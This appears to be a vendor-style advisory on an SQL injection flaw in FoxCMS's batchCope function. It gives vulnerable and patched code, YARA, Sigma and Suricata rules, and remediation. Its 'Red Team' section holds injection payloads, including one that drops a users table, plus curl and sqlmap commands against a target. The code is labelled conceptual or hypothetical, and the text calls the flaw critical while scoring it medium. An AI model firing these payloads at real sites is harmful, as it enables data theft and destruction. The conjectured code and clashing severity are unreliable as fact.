CVE-2025-10251

Executive Summary

CVE-2025-10251 is a critical SQL injection vulnerability discovered in FoxCMS versions up to 1.24. The flaw resides in the batchCope function within the /app/admin/controller/Images.php file. By manipulating the ids argument, an unauthenticated remote attacker can inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The exploit is publicly available, and the vendor has not responded to disclosure attempts, leaving the vulnerability unpatched. This report provides a comprehensive technical analysis, detection methods, and mitigation strategies.

Supply Chain & Package Security

FoxCMS is a PHP-based content management system. This vulnerability does not involve a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the core application. Users should verify the integrity of their FoxCMS installation and monitor for any unofficial patches or updates.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The medium severity is due to the low impact on confidentiality, integrity, and availability, but the ease of exploitation and public availability of the exploit increase the risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the batchCope function of Images.php. The function likely processes a batch of image IDs passed via the ids parameter. Without proper sanitization or parameterized queries, the input is directly concatenated into an SQL query.

Vulnerable Code Snippet (Conceptual):

// /app/admin/controller/Images.php
public function batchCope() {
    $ids = $_POST['ids']; // No sanitization
    $sql = "DELETE FROM images WHERE id IN ($ids)"; // Direct concatenation
    $this->db->query($sql);
}

An attacker can inject SQL by providing a crafted ids value, such as:

1,2,3); DROP TABLE users; --

This would result in the execution of:

DELETE FROM images WHERE id IN (1,2,3); DROP TABLE users; --

Vulnerable vs. Patched Code

Vulnerable Code (FoxCMS <= 1.24):

$ids = $_POST['ids'];
$sql = "DELETE FROM images WHERE id IN ($ids)";
$this->db->query($sql);

Patched Code (Hypothetical):

$ids = $_POST['ids'];
if (!is_array($ids)) {
    $ids = explode(',', $ids);
}
$ids = array_map('intval', $ids); // Sanitize each ID
$placeholders = implode(',', array_fill(0, count($ids), '?'));
$sql = "DELETE FROM images WHERE id IN ($placeholders)";
$this->db->query($sql, $ids); // Use prepared statement

The patched version uses prepared statements and input validation to prevent injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• FoxCMS 1.24 installed and accessible.
• Knowledge of the admin panel URL (e.g., http://target.com/admin).

Exploit Steps:

1. Identify the vulnerable endpoint: POST /app/admin/controller/Images.php?action=batchCope
2. Craft a malicious ids parameter:

   ids=1,2,3); SELECT 1,2,3 FROM users; --
   

3. Send the request using curl:

   curl -X POST http://target.com/app/admin/controller/Images.php?action=batchCope \
   -d "ids=1,2,3); SELECT 1,2,3 FROM users; --"
   

4. Verify injection by observing the response or database errors.

Advanced Exploitation:

• Use sqlmap for automated exploitation:

  sqlmap -u "http://target.com/app/admin/controller/Images.php?action=batchCope" \
  --data="ids=1" --batch --dbs
  

Blue Team

Detection:

• Monitor for unusual POST requests to /app/admin/controller/Images.php with suspicious ids parameters.
• Look for SQL error messages in logs (e.g., "You have an error in your SQL syntax").
• Use WAF rules to block SQL injection patterns.

Honeypot:

• Deploy a fake FoxCMS instance and log all requests to the vulnerable endpoint.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /app/admin/controller/Images.php with ids parameter containing SQL keywords (e.g., UNION, SELECT, DROP).
  • Unusual database error messages in HTTP responses.
• File System:
  • Modified or new files in /app/admin/controller/ directory.
  • Suspicious entries in web server access logs.
• Database:
  • Unexpected tables or data modifications.
  • New user accounts with admin privileges.

Detection Engineering

YARA Rule

rule CVE_2025_10251_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting FoxCMS batchCope function"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-10251"
    strings:
        $s1 = "batchCope" nocase
        $s2 = "ids=" nocase
        $s3 = "SELECT" nocase
        $s4 = "UNION" nocase
        $s5 = "DROP" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: FoxCMS SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting FoxCMS batchCope function
author: Valters IT
date: 2025/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10251
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/app/admin/controller/Images.php'
        cs-uri-query|contains: 'action=batchCope'
        cs-uri-query|contains: 'ids='
        cs-uri-query|contains|any:
            - 'SELECT'
            - 'UNION'
            - 'DROP'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10251 FoxCMS SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/app/admin/controller/Images.php"; http_uri; content:"action=batchCope"; http_uri; content:"ids="; http_client_body; pcre:"/(SELECT|UNION|DROP)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /app/admin/controller/Images.php via web server configuration (e.g., .htaccess or Nginx rules).
2. Apply input validation: Sanitize the ids parameter to only allow numeric values.
3. Use prepared statements: Rewrite the batchCope function to use parameterized queries.

Long-term Fix:

• Upgrade to a patched version of FoxCMS if available.
• Implement a Web Application Firewall (WAF) to block SQL injection patterns.
• Conduct regular security audits and code reviews.

Workaround:

• If patching is not possible, restrict access to the admin panel via IP whitelisting or VPN.

Valters IT
Securing Digital Frontiers